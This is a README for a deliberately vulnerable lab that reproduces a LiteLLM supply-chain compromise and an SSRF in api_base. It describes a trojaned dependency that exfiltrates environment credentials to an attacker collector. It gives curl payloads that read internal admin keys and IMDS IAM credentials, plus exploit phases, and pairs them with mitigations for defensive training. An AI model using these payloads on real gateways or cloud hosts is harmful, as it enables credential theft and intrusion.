CVE-2026-33634 — LiteLLM सप्लाई चेन + SSRF बिना api_base (PoC / लैब)

⚠️ जानबूझकर असुरक्षित लैब, शैक्षिक और अधिकृत उपयोग के लिए। इसे केवल अपनी मशीन पर, इस रिपॉज़िटरी के कंटेनरों के विरुद्ध चलाएँ। शुरू करने से पहले SECURITY-NOTES.md पढ़ें।

🚫 इस लैब को कभी भी किसी क्लाउड VM या साझा मशीन पर न चलाएँ। गेटवे में जानबूझकर अनियंत्रित SSRF है: यदि कोई वास्तविक IMDS (169.254.169.254) या loopback/LAN पर संवेदनशील सेवाएँ मौजूद हों, तो SSRF वास्तव में उन तक पहुँच जाता है। पोर्ट केवल 127.0.0.1 पर प्रकाशित हैं; इन्हें ऐसे ही रखें। एक पृथक/डिस्पोज़ेबल होस्ट का उपयोग करें।

CVSS 9.4 (गंभीर)। LiteLLM गेटवे का सप्लाई चेन समझौता (मार्च/2026): एक गेटवे लाइब्रेरी में दुर्भावनापूर्ण निर्भरता ने AI प्रोवाइडर क्रेडेंशियल्स का पूरा पोर्टफोलियो उजागर कर दिया। इस परत का बार-बार दिखने वाला पैटर्न साथ आता है: प्रॉक्सी में OpenAI कुंजी और api_base पैरामीटर में SSRF। यह लैब दोनों खामियों को पुनः उत्पन्न करता है और उन्हें एक exploit में जोड़ता है।

दो श्रृंखलाबद्ध खामियाँ

1) सप्लाई चेन — ट्रोजनयुक्त निर्भरता

litellm-telemetry-helper (malicious-dep/ में) समझौता किए गए ट्रांज़िटिव निर्भरता का अनुकरण करता है। घटना की कथा में, एक कमज़ोर पिन (>=0.9.6) ने रिज़ॉल्वर को स्वच्छ 0.9.6 के बजाय दुर्भावनापूर्ण संस्करण 0.9.7 खींचने दिया होगा। पेलोड import पर सक्रिय होता है (गेटवे के लिए निर्भरता को रिज़ॉल्व करना ही पर्याप्त है) और, एक बैकग्राउंड थ्रेड में, पूरे वातावरण को चुपचाप बाहर भेज देता है (OPENAI_API_KEY, ANTHROPIC_API_KEY, AWS_*, ...) हमलावर के कलेक्टर को — एप्लिकेशन को तोड़े बिना।

2) api_base में SSRF

प्रॉक्सी (gateway/app.py) api_base (प्रोवाइडर का base_url) कॉलर से आने वाला, बिना allowlist के स्वीकार करता है। हमलावर नियंत्रित करता है कि गेटवे कहाँ अनुरोध भेजे और गेटवे अभी भी:

• Authorization हेडर में प्रोवाइडर की वास्तविक कुंजी संलग्न करता है, और
• upstream प्रतिक्रिया का बॉडी लौटाता है (मनमानी पढ़ने वाला SSRF)।

इससे यह संभव है: आंतरिक सेवाओं तक पहुँचना (/admin/keys), IMDS (169.254.169.254) में क्लाउड क्रेडेंशियल्स चुराना, आंतरिक नेटवर्क को पोर्ट-स्कैन करना और api_base को हमलावर की ओर इंगित करके प्रत्येक प्रोवाइडर की कुंजी लीक करना।

लैब की आर्किटेक्चर

                    HOST (आप / हमलावर)
        exploit.py ──POST /v1/chat/completions {api_base:…}──►┐
              ▲                                               │
              └───────────GET /loot (localhost:8080)──┐       │
                                                      │       ▼
   ┌───────────────────────── docker नेटवर्क "labnet" ───┼───────────────────┐
   │                                                   │                   │
   │   collector (attacker.lab:8080) ◄─ beacon supply-chain ── gateway     │
   │      • /beacon  (दुर्भावनापूर्ण dep का exfil)          │     (litellm      │
   │      • /collect (SSRF के माध्यम से लीक हुई कुंजी)           │      :4000)       │
   │      • /oob     (ब्लाइंड SSRF की पुष्टि)           │        │ SSRF     │
   │      • /loot                                      ┘        │ (api_base)│
   │                                                            ▼          │
   │   internal.lab:9000  /admin/keys   (प्रकाशित नहीं) ◄───────┤          │
   │   imds.lab:80        /latest/...   (प्रकाशित नहीं) ◄───────┤          │
   │   provider-mock.lab:9100  (upstream "सामान्य")      ◄───────┘          │
   └──────────────────────────────────────────────────────────────────────┘

internal.lab और imds.lab के कोई प्रकाशित पोर्ट नहीं हैं — केवल गेटवे का SSRF उन तक पहुँचता है। यही लैब का मुख्य बिंदु है।

कैसे शुरू करें और खोजें

पूर्वापेक्षाएँ: Docker + Docker Compose v2, और exploit के लिए httpx के साथ Python 3.9+।

cd CVE-2026-33634

# 1) sobe o lab (gateway :4000, coletor :8080)
docker compose up -d --build      # ou: make up

# 2) instala o requisito do exploit
python3 -m pip install -r exploit/requirements.txt

# 3) roda o exploit completo
python3 exploit/exploit.py        # ou: make exploit

अलग-अलग चरण चलाएँ:

python3 exploit/exploit.py --only recon,ssrf
python3 exploit/exploit.py --only internal        # só rouba o cofre interno
python3 exploit/exploit.py --only cloud           # só rouba credenciais de nuvem
python3 exploit/exploit.py --only keyleak         # só vaza chaves dos provedores
python3 exploit/exploit.py --only supplychain     # só verifica o beacon da dep

पूरा loot loot.json में सहेजा जाता है। हमलावर को डेटा प्राप्त करते हुए देखें:

docker compose logs -f collector       # make collector-logs
curl -s http://localhost:8080/loot | python3 -m json.tool

केवल SSRF को हाथ से पुनः उत्पन्न करें (exploit के बिना)

# leitura arbitrária: cofre interno via SSRF
curl -s http://localhost:4000/v1/chat/completions \
  -H 'content-type: application/json' \
  -d '{"model":"gpt-4o","api_base":"http://internal.lab:9000/admin/keys","messages":[]}' \
  | python3 -m json.tool

# credenciais de nuvem via SSRF ao IMDS
curl -s http://localhost:4000/v1/chat/completions \
  -H 'content-type: application/json' \
  -d '{"model":"gpt-4o","api_base":"http://imds.lab/latest/meta-data/iam/security-credentials/litellm-gateway-role","messages":[]}'

exploit क्या करता है (चरण)

लैब की निष्ठा और सरलीकरण

यह लैब शैक्षिक स्पष्टता और पुनरुत्पादकता को प्राथमिकता देता है। जहाँ यह वास्तविक घटना का अमूर्तीकरण करता है, वह जानबूझकर है — और अंतर जानना उपयोगी है:

• सीधा import बनाम ट्रांज़िटिव निर्भरता। गेटवे स्पष्ट रूप से import litellm_telemetry_helper करता है, बजाय इसके कि पैकेज वास्तविक litellm के ट्री में छिपी ट्रांज़िटिव निर्भरता हो। प्रभाव (import पर पेलोड) समान है; रिज़ॉल्यूशन की श्रृंखला छोटी कर दी गई है।
• स्थानीय इंस्टॉलेशन बनाम संस्करण रिज़ॉल्यूशन। कमज़ोर पिन >=0.9.6 कथा है (gateway/requirements.txt में टिप्पणीबद्ध पंक्ति); लैब में dep Dockerfile के माध्यम से ./malicious-dep से इंस्टॉल होती है — कोई PyPI इंडेक्स 0.9.6 पर 0.9.7 रिज़ॉल्व नहीं कर रहा। वास्तविक रिज़ॉल्यूशन का अभ्यास करने के लिए, दोनों संस्करणों के साथ एक स्थानीय इंडेक्स (pypiserver/devpi) चलाएँ।
• मनमानी पथ का SSRF। api_base वेक्टर में, लैब स्पष्ट पथ होने पर URL को verbatim उपयोग करता है (एक ही पैरामीटर में /admin/keys और IMDS की पढ़ाई प्रदर्शित करने के लिए)। OpenAI-संगत पथ में, वास्तविक LiteLLM एक निश्चित सफ़िक्स (/chat/completions) जोड़ता है और POST करता है — नियंत्रण आमतौर पर होस्ट का होता है (कुंजी लीक, होस्ट द्वारा SSRF) और मनमाना पथ passthrough/health रूट में दिखता है। प्रदर्शित प्रभाव (पोर्टफोलियो लीक + आंतरिक/क्लाउड पिवट) निष्ठावान है; URL का सटीक निर्माण सरलीकृत है।

शमन (आप इसे कैसे ठीक करेंगे)

SSRF (api_base)

• अनुमत upstream होस्ट/डोमेन की Allowlist; बाकी को अस्वीकार करें।
• निजी IPs, loopback और link-local 169.254.0.0/16 (IMDS) को मना करें; DNS रिज़ॉल्व करें और कनेक्ट करने से पहले IP सत्यापित करें (rebinding से सावधान)।
• प्रशासनिक रूट के लिए क्लाइंट का base_url उपयोग न करें; प्लेन अलग करें।
• कभी भी प्रोवाइडर क्रेडेंशियल को असत्यापित गंतव्य से संलग्न न करें।
• क्लाउड होस्ट पर IMDSv2 (टोकन अनिवार्य) और hop-limit=1 लागू करें।
• Egress फ़ायरवॉल: गेटवे केवल उन्हीं प्रोवाइडरों से बात करे जिनकी उसे आवश्यकता है।

सप्लाई चेन

• सटीक पिन + हैश (--require-hashes, lockfile); >= नहीं।
• प्रोवेनेंस सत्यापित करें (Sigstore/attestations), नई निर्भरताओं का ऑडिट करें।
• डिफ़ॉल्ट रूप से egress अवरुद्ध के साथ चलाएँ; import बीकन विफल हो जाता है।
• pip install को कोड निष्पादन मानें (install hooks); sandbox/पृथक CI उपयोग करें।
• Secrets को दीर्घायु पर्यावरण चर से बाहर रखें: अल्पकालिक क्रेडेंशियल्स और रोटेशन वाले secrets manager का उपयोग करें।

क्रेडेंशियल/सीक्रेट (बेसलाइन)

• सीक्रेट अनुपस्थित = बूट पर विफलता (कोई default नहीं)। कॉलर को विस्तृत एंटिटी/त्रुटियाँ न लौटाएँ। allowlist द्वारा लॉग करें, कभी टोकन/claims नहीं।

संरचना

CVE-2026-33634/
├── docker-compose.yml        # orquestra tudo na rede labnet
├── Makefile                  # up / down / logs / exploit
├── gateway/                  # proxy LiteLLM-style VULNERÁVEL (SSRF + import da dep)
├── malicious-dep/            # a dependência trojanizada (payload no import)
├── collector/                # coletor do atacante (/beacon /collect /oob /loot)
├── internal-service/         # /admin/keys interno (só via SSRF)
├── imds/                     # mock do metadata service de nuvem (só via SSRF)
├── provider-mock/            # upstream "normal" (contraste)
├── exploit/exploit.py        # exploit multi-fase (async)
├── SECURITY-NOTES.md         # vulns intencionais, contenção e autorização
└── README.md